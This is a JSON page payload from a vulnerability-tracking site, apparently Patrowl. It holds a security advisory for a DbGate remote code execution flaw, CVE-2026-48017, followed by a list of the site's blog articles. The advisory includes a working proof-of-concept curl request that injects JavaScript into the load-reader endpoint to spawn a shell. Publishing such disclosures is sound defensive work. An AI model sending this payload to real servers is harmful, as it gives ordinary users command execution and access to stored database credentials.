[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2026-48017":3,"landing-articles":76},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":19,"cwes":20,"cpes":22,"technologies":25,"references":27,"score":31,"epss_score":32,"epss_percentile":33,"is_kev":34,"cisa_kev_date_added":35,"cisa_kev_due_date":35,"cisa_ssvc":36,"attack_mappings":46,"exploits":74},357208,"CVE-2026-48017","EUVD-2026-37007","DbGate: Remote Code Execution via functionName injection in loadReader endpoint\n\n### Summary\n\nThe `POST \u002Frunners\u002Fload-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction.\n\n### Details\n\nThe `loadReader` endpoint in `packages\u002Fapi\u002Fsrc\u002Fcontrollers\u002Frunners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization:\n\n**Vulnerable code** ([permalink](https:\u002F\u002Fgithub.com\u002Fdbgate\u002Fdbgate\u002Fblob\u002Fea3a61077ab09775c39890c465f0b3e97f6c812e\u002Fpackages\u002Fapi\u002Fsrc\u002Fcontrollers\u002Frunners.js#L352-L368)):\n\n```javascript\n  loadReader_meta: true,\n  async loadReader({ functionName, props }) {\n    if (!platformInfo.isElectron) {\n      if (props?.fileName && !checkSecureDirectories(props.fileName)) {\n        return { errorMessage: 'DBGM-00289 Unallowed file' };\n      }\n    }\n    const prefix = extractShellApiPlugins(functionName)\n      .map(packageName => `\u002F\u002F @require ${packageName}\\n`)\n      .join('');\n\n    const promise = new Promise((resolve, reject) => {\n      const runid = crypto.randomUUID();\n      this.requests[runid] = { resolve, reject, exitOnStreamError: true };\n      this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid));\n    });\n    return promise;\n  },\n```\n\nThe `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name:\n\n```javascript\nconst loaderScriptTemplate = (prefix, functionName, props, runid) => `\n${prefix}\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\n${requirePluginsTemplate(extractShellApiPlugins(functionName, props))}\nrequire=null;\nasync function run() {\nconst reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)});\nconst writer=await dbgateApi.collectorWriter({runid: '${runid}'});\nawait dbgateApi.copyStream(reader, writer);\n}\ndbgateApi.runScript(run);\n`;\n```\n\nThe `compileShellApiFunctionName` in `packages\u002Ftools\u002Fsrc\u002FpackageTools.ts` (line 30-35) performs no validation:\n\n```typescript\nexport function compileShellApiFunctionName(functionName) {\n  const nsMatch = functionName.match(\u002F^([^@]+)@([^@]+)\u002F);\n  if (nsMatch) {\n    return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`;\n  }\n  return `dbgateApi.${functionName}`;\n}\n```\n\n**Two injection vectors:**\n1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization\n2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`)\n\nAlthough the script template sets `require=null`, the `process` global is still available. `process.binding(\"spawn_sync\")` provides direct access to spawn child processes, completely bypassing the sandbox.\n\n**Compare with safe code in the same file** (line 292):\n\n```javascript\n  start_meta: true,\n  async start({ script }, req) {\n    \u002F\u002F ...\n    await testStandardPermission('run-shell-script', req);  \u002F\u002F \u003C-- Permission check!\n    if (!platformInfo.allowShellScripting) {                 \u002F\u002F \u003C-- Platform check!\n      return { errorMessage: 'DBGM-00286 Shell scripting is not allowed' };\n    }\n    \u002F\u002F ...\n  },\n```\n\nThe `start` endpoint requires the `run-shell-script` permission and checks `allowShellScripting`. The `loadReader` endpoint has **neither** of these checks, making it a privilege escalation from any authenticated user to full RCE.\n\n### PoC\n\nAn authenticated user sends a POST request to `\u002Frunners\u002Fload-reader` with a crafted `functionName`:\n\n```bash\n# The malicious functionName breaks out of the expression and injects\n# process.binding(\"spawn_sync\") to execute arbitrary commands.\n# The \u002F\u002F at the end comments out the remaining template code.\n\ncurl -X POST http:\u002F\u002FTARGET:3000\u002Frunners\u002Fload-reader \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -H \"Authorization: Bearer \u003CJWT_TOKEN>\" \\\n  -d '{\n    \"functionName\": \"toString();var __r=process.binding(\\\"spawn_sync\\\").spawn({file:\\\"\u002Fbin\u002Fsh\\\",args:[\\\"\u002Fbin\u002Fsh\\\",\\\"-c\\\",\\\"id > \u002Ftmp\u002Fdbgate-rce-proof\\\"],envPairs:[],stdio:[{type:\\\"pipe\\\",readable:true,writable:false},{type:\\\"pipe\\\",readable:false,writable:true},{type:\\\"pipe\\\",readable:false,writable:true}]});dbgateApi.toString\u002F\u002F\",\n    \"props\": {}\n  }'\n```\n\nThis generates the following JavaScript that is forked as a child process:\n\n```javascript\nconst dbgateApi = require(process.env.DBGATE_API);\ndbgateApi.initializeApiEnvironment();\nrequire=null;\nasync function run() {\nconst reader=await dbgateApi.toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"\u002Fbin\u002Fsh\",args:[\"\u002Fbin\u002Fsh\",\"-c\",\"id > \u002Ftmp\u002Fdbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString\u002F\u002F({})\n\u002F\u002F ... rest of template\n}\ndbgateApi.runScript(run);\n```\n\nAfter the request, `\u002Ftmp\u002Fdbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution.\n\nA standalone PoC script is available at: `reports\u002Fcve-hunting\u002Fpocs\u002Fdbgate\u002Frce_loadreader_functionname_injection.py`\n\n### Impact\n\nAn authenticated user with **basic access** (no admin role, no `run-shell-script` permission required) can:\n\n1. **Execute arbitrary OS commands** on the DbGate server with the privileges of the Node.js process\n2. **Read\u002Fwrite any file** accessible to the process\n3. **Pivot to connected databases** by reading connection credentials from DbGate's storage\n4. **Compromise the host system** - in Docker deployments, this typically means root access within the container\n\nThis is particularly severe because:\n- No special permissions are required beyond basic authentication\n- The `require=null` sandbox is completely bypassed via `process.binding(\"spawn_sync\")`\n- The `loadReader` endpoint lacks the permission checks present on the `start` endpoint\n- DbGate is commonly deployed as a web-accessible database management tool","2026-06-05T16:39:00Z",{"cvss_v3.1":10},{"scope":11,"version":12,"baseScore":13,"attackVector":14,"baseSeverity":15,"vectorString":16,"integrityImpact":15,"userInteraction":17,"attackComplexity":18,"availabilityImpact":15,"privilegesRequired":18,"confidentialityImpact":15},"UNCHANGED","3.1",8.8,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE","LOW",true,[21],"CWE-94",[23,24],"cpe:2.3:a:dbgate-api:dbgate-api:*:*:*:*:*:*:*:*","cpe:2.3:a:dbgate-api:dbgate-api:7.1.8:*:*:*:*:*:*:*",[26],"Dbgate-Api Dbgate-Api",[28,29,30],"https:\u002F\u002Fgithub.com\u002Fdbgate\u002Fdbgate\u002Freleases\u002Ftag\u002Fv7.1.9","https:\u002F\u002Fgithub.com\u002Fdbgate\u002Fdbgate\u002Fsecurity\u002Fadvisories\u002FGHSA-hv83-ggc4-v385","https:\u002F\u002Fgithub.com\u002Fdbgate\u002Fdbgate",0.79,0.00511,0.43292,false,null,{"timestamp":37,"automatable":38,"tech_impact":39,"exploitation":40,"cisa_decision":41,"cisa_remediation_timeline":45},"2026-06-16T15:39:00.531517Z","no","total","poc",{"vector":42,"decision":43,"priority":44},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-25T18:05:29.949474\u002F","attend","medium","14D",[47,53,62,68],{"name":48,"source":49,"tactics":50,"technique_id":52},"Exploit Public-Facing Application","attack_vector",[51],"initial-access","T1190",{"name":54,"source":55,"cwe_ids":56,"tactics":57,"capec_ids":59,"technique_id":61},"HTML Smuggling","capec",[21],[58],"stealth",[60],"CAPEC-35","T1027.006",{"name":63,"source":55,"cwe_ids":64,"tactics":65,"capec_ids":66,"technique_id":67},"Embedded Payloads",[21],[58],[60],"T1027.009",{"name":69,"source":55,"cwe_ids":70,"tactics":71,"capec_ids":72,"technique_id":73},"Resource Forking",[21],[58],[60],"T1564.009",[75],{"link":29},{"count":77,"next":78,"previous":35,"results":79},30,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&sorted_by=-published_at",[80,87,95,103,110,117,124,129,136,143],{"id":77,"title":81,"summary":82,"published_at":83,"type":84,"link":85,"image_url":86},"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":88,"title":89,"summary":90,"published_at":91,"type":92,"link":93,"image_url":94},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":96,"title":97,"summary":98,"published_at":99,"type":100,"link":101,"image_url":102},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png",{"id":104,"title":105,"summary":106,"published_at":107,"type":92,"link":108,"image_url":109},27,"Exposure Management: definition, stakes, and how it works","Vulnerabilities, misconfigurations, poorly managed identities: understand what Exposure Management is and why it matters in 2026.","2026-09-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdefinition-exposure-management","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F06170638a9-1789050834\u002Fexposure.management.definition.en.png",{"id":111,"title":112,"summary":113,"published_at":114,"type":100,"link":115,"image_url":116},26,"DGFiP Cyberattack 2026: Inside the Attacker","Two distinct attacks hit France","2026-08-17T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fdgfip-cyberattack-2026-inside-attacker-mind","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fdc38d33696-1787055371\u002Fdgfip-2026.png",{"id":118,"title":119,"summary":120,"published_at":121,"type":84,"link":122,"image_url":123},25,"CVE-2026-64638: XSS2Shell, a WordPress Login Vulnerability","Pre-auth XSS on wp-login.php, patched August 6. What is actually exploitable, and how to read it in your Patrowl report.","2026-08-10T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fxss2shell-critical-wordpress-login-vulnerability-2026","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F904e61748b-1786369212\u002Fxss2shell.png",{"id":125,"title":126,"summary":126,"published_at":121,"type":84,"link":127,"image_url":128},24,"CVE-2026-64638 : XSS2Shell, faille du login WordPress","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fcve-2026-64638-xss2shell-faille-login-wordpress","",{"id":130,"title":131,"summary":132,"published_at":133,"type":84,"link":134,"image_url":135},23,"How Agentic AI Hunts Down CVEs Before Attackers Do","38 vulnerability sources monitored around the clock, pentester-validated proof of exploitability, an alert within hours. See how it works.","2026-08-05T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fproactive-threat-hunting-agentic-ai-cve","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F804988ce7b-1785930160\u002Fproactive-threat-hunting-how-agentic-ai-tracks-cves.png",{"id":137,"title":138,"summary":139,"published_at":140,"type":100,"link":141,"image_url":142},22,"AI Agent Incident: OpenAI HuggingFace — Risks and Lessons","An autonomous AI agent escaped its sandbox via a JFrog Artifactory zero-day, compromised HuggingFace via privilege escalation and stolen credentials. Reconstructed timeline and security lessons.","2026-07-31T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fai-agent-incident-openai-huggingface-risks","[Image URL from Kirby]",{"id":144,"title":145,"summary":146,"published_at":147,"type":92,"link":148,"image_url":149},21,"SaaS Under Watch: What Your SDLC Doesn","Your pipeline is green. Your real exposure may have changed without you knowing it. The complete guide for software vendors.","2026-07-29T00:00:00Z","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fsecuring-saas-application-software-vendor","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F20d6ec0cd0-1785331401\u002Fapplication-security.png"]